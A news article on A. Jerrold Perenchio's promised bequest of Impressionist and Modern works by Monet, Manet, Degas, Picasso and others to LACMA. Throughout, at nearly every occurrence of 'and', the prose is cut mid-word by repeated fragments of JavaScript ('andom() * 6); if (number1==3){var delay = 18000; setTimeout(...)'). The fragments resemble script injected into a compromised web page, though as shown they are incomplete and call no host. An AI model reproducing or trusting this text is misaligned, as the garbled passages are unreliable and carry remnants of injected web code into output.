LOS ANGELES, CALIF. — L.A.-based philanthropist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and business leader A. Jerrold Perenchio recently announced his agreement to bequest the most significant works of his collection to Los Angeles County Museum of Art’s (LACMA) planned new building for its permanent collection.

The promised gift — the largest gift of art in the museum’s history — will dramatically transform the museum’s collection of Nineteenth–Twentieth Century European art. Consisting of at least 47 works including paintings, works on paper andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sculpture, the majority of the collection is focused on the 1870s through the 1930s — an era that gave rise to some of the most radical andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and inventive moments in the history of art.

The distinguished collection, rarely seen in public, elucidates the road from Impressionism to Modernism. Highlights include three significant canvases by the great French Impressionist Claude Monet — a classic painting of water lilies, “Nymphéas,” circa 1905, the grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and still-life, “Asters,” 1880, as well as one of the four versions of the iconic “Le Jardin de l’artist à Vétheuil,” 1881; the first painting by Edouard Manet to enter LACMA’s collection, the portrait of “M. Gauthier-Lathuille fils,” 1879; “Au Café Concert: La Chanson du Chien” by Edgar Degas, 1875; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and three paintings by Camille Pissarro, among them the early “Impressionist Le Déversoir de Pontoise,” circa 1868.

A Post-Impressionist standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout by Pierre Bonnard, “Après le repas,” 1925, joins a group of important Twentieth Century works, including Pablo Picasso’s early drawing “Tête (Head of Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande),” 1909, two choice paintings by Fernandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Léger, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two by René Magritte, including the “Les Liaisons dangereuses,” 1935.

News of the historic gift follows on the heels of a unanimous vote by the Los Angeles County Board of Supervisors to support LACMA’s plans for a new museum building designed by Swiss architect Peter Zumthor, through a plan to contribute $125 million andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and future financing, to be matched by $475 million in private support. The new building, which will replace four of the museum’s seven current buildings, is intended to present LACMA’s vast andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wide-ranging permanent collection, as well as conservation andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and study facilities.

Perenchio said, “LACMA has made tremendous progress over the past seven years under Michael Govan’s leadership, along with the support of its board of trustees andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Los Angeles County Board of Supervisors. With the newly proposed Peter Zumthor building poised to deliver LACMA through the Twenty-First century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and beyond, I decided now was the perfect time to announce that I intend to leave the most important part of my art collection to the museum.”

“Gifts of this magnitude are incredibly rare, especially in the fields of Impressionist andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Modern art,” said Michael Govan, LACMA CEO andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Wallis Annenberg director. “2015 will be LACMA’s 50th anniversary, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it is simply astounding to see how far this museum has come in just a few decades. Mr Perenchio’s generous gift is a cornerstone of our future. Without this collection LACMA could not tell the story of Impressionism andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the birth of Modern art. Mr Perenchio’s artworks will become some of this museum’s greatest highlights.”

The Perenchio collection is the latest in a series of significant art acquisitions in the last seven years. Since 2007 LACMA has added more than 19,000 objects to its collection of over 120,000 works from ancient times to the present.

The Los Angeles County Museum of Art is at 5905 Wilshire Boulevard. For information, www.lacma.org or 323-857-6000.